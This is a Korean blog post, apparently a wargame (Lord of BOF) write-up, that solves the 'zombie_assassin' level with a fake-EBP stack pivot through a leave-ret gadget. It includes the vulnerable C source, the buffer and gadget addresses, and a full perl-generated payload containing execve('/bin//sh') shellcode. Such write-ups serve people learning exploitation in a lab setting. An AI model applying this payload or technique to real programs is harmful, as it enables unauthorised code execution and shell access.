티스토리 뷰

zombie_assassin.c 

#include <stdio.h>

#include <stdlib.h>

 

main(int argc, char *argv[])

{

char buffer[40];

  

if(argc < 2){

printf("argv error\n");

exit(0);

}

  

if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}

  

if(argv[1][47] == '\x40')

{

printf("library retbayed you, too!!\n");

exit(0);

}

 

 // strncpy instead of strcpy!

strncpy(buffer, argv[1], 48);

printf("%s\n", buffer);

}

 

zombie_assassinstrcpy가 아닌 strncpy를 사용하여 48byte만 복사하도록 하였다.

결론적으로 buffer 40bytesfp 4byte, ret 4byte만 채울 수 있는 것이다.

게다가 ret는 주소가 bf40으로 시작할 수 없는 조건이 있었다.

 

그래서 주어진 fake ebp를 이용해보았다.

 

 

 

스택의 구조는 대충 이럴것이므로, buffer에 쓰레기값 4bytebuffer시작주소 + 8 그리고 쉘코드를 넣고 나머지부분은 nop로 채운다음 sfpbuffer의 시작주소, retleave의 주소를 넣었다.

 

 

leave의 주소 -> 0x80484df

 

 

buffer의 시작주소 -> 0xbffffa90

찾은 주소를 이용하여 공격코드를 짜보면,

 

 

`perl -e 'print "aaaa","\x98\xfa\xff\xbf","\x90"x7,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90\xfa\xff\xbf","\xdf\x84\x04\x08"'` 가 된다.

 

<buffer에 쓰레기값 4byte0xbffffa98을 넣어주는 이유>

 

leave가 실행되면

mov ebp esp

pop ebp

ret

가 순서되로 실행되게 된다.

 

leave가 실행되면 espebp의 위치를 가리키게 되어

 

화살표 위치에 위치하게 된다.

 

pop ebp를 하게 되면, ebp0xbfffa90 위치인 buffer의 시작부분을 가리키게 되고

esp4byte 위의 주소를 가리키게 된다.

 

 

 

ret를 하게 되면, 0x80484df로 리턴하고 다시 leave가 실행된다.

또다시 mov ebp esp가 실행되고 espebp의 위치를 가리키게 된다.

 

 

pop ebp를 하면 aaaapop되고 esp4byte위의 주소를 가리키게 된다.

ret를 하면 0xbffffa98로 리턴하게 되고, 0xbffffa98nop와 쉘코드가 위치한 buffer의 주소이므로 쉘코드가 실행된다.

 

 

댓글
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday